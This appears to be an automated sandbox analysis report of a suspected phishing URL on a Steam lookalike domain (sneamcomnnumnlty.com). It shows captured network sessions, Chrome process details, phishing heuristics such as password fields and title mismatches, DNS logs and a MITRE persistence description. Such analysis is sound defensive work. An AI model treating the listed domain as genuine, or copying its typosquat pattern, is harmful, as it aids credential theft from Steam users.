2024-10-06 12:08:45 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:45 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: b0fdb72d-401e-0015-37ce-160e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120845Z-1657d5bbd48t66tjar5xuq22r800000001u000000000gv6t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:45 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	57238	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:46 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:46 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 8d3bec0a-601e-0070-32fe-16a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120846Z-1657d5bbd48xlwdx82gahegw40000000023g00000000btd8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:46 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.5	57239	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:46 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:46 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8d044b15-901e-00ac-3902-17b69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120846Z-1657d5bbd48sdh4cyzadbb374800000001v00000000051rv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:46 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.5	57240	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:46 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:46 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: e72b6989-501e-005b-2b00-17d7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120846Z-1657d5bbd48q6t9vvmrkd293mg00000001w000000000ccdf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:46 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.5	57241	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:46 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:46 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 0377c3fc-101e-000b-65dc-165e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120846Z-1657d5bbd482lxwq1dp2t1zwkc00000001n000000000etwb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:46 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.5	57242	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:46 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:46 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: a5e58c1d-b01e-00ab-5ac9-16dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120846Z-1657d5bbd48762wn1qw4s5sd3000000001wg000000003kmd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:46 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.5	57243	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:46 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:46 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:46 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 78a0432a-701e-001e-1805-17f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120846Z-1657d5bbd487nf59mzf5b3gk8n00000001q00000000022qc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:46 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.5	57244	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-06 12:08:47 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-06 12:08:47 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 06 Oct 2024 12:08:47 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: ef9cab6f-f01e-0099-0d00-179171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241006T120847Z-1657d5bbd48brl8we3nu8cxwgn00000002ag000000004mu4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-06 12:08:47 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Target ID:	0
Start time:	08:08:05
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	08:08:11
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=2004,i,16182888411627534459,9118795571554780870,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	08:08:14
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" "https://sneamcomnnumnlty.com/jfh8893040282949023/here/put"
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:08:58
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://store.steampowered.com/login/?14__global-header
Imagebase:	0x7ff715980000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:08:59
Start date:	06/10/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2024 --field-trial-handle=1988,i,12338572558593923070,16571390887266231592,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6a5670000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://sneamcomnnumnlty.com/jfh8893040282949023/here/put	HTTP Parser: <input type="password" .../> found but no <form action="...
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://sneamcomnnumnlty.com/jfh8893040282949023/here/put	HTTP Parser: Title: Sign In does not match URL
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: Title: Sign In does not match URL

Source: https://sneamcomnnumnlty.com/jfh8893040282949023/here/put	HTTP Parser: <input type="password" .../> found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: <input type="password" .../> found

Source: https://sneamcomnnumnlty.com/jfh8893040282949023/here/put	HTTP Parser: No <meta name="author".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="author".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="author".. found

Source: https://sneamcomnnumnlty.com/jfh8893040282949023/here/put	HTTP Parser: No <meta name="copyright".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="copyright".. found
Source: https://store.steampowered.com/login/?14__global-header	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: chromecache_297.2.dr, chromecache_468.2.dr	String found in binary or memory:   <span aria-hidden="true">\|</span>  <a href="https://steamcommunity.com/linkfilter/?u=http%3A%2F%2Fwww.facebook.com%2FSteam" target="_blank" rel=" noopener"><img src="https://store.akamai.steamstatic.com/public/images/ico/ico_facebook.png" alt="Facebook"> Steam</a> equals www.facebook.com (Facebook)
Source: chromecache_303.2.dr, chromecache_396.2.dr, chromecache_446.2.dr, chromecache_408.2.dr, chromecache_338.2.dr, chromecache_526.2.dr	String found in binary or memory: var youtubeurl = location.protocol + '//www.youtube.com/embed/' + videoid + '?showinfo=0&autohide=1&fs=1&hd=1&modestbranding=1&rel=0&showsearch=0&wmode=direct&autoplay=1'; equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: sneamcomnnumnlty.com
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: store.akamai.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: recaptcha.net
Source: global traffic	DNS traffic detected: DNS query: cdn.akamai.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: fonts.cdnfonts.com
Source: global traffic	DNS traffic detected: DNS query: community.cloudflare.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: community.akamai.steamstatic.com
Source: global traffic	DNS traffic detected: DNS query: store.steampowered.com
Source: global traffic	DNS traffic detected: DNS query: login.steampowered.com
Source: global traffic	DNS traffic detected: DNS query: api.steampowered.com
Source: global traffic	DNS traffic detected: DNS query: help.steampowered.com

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

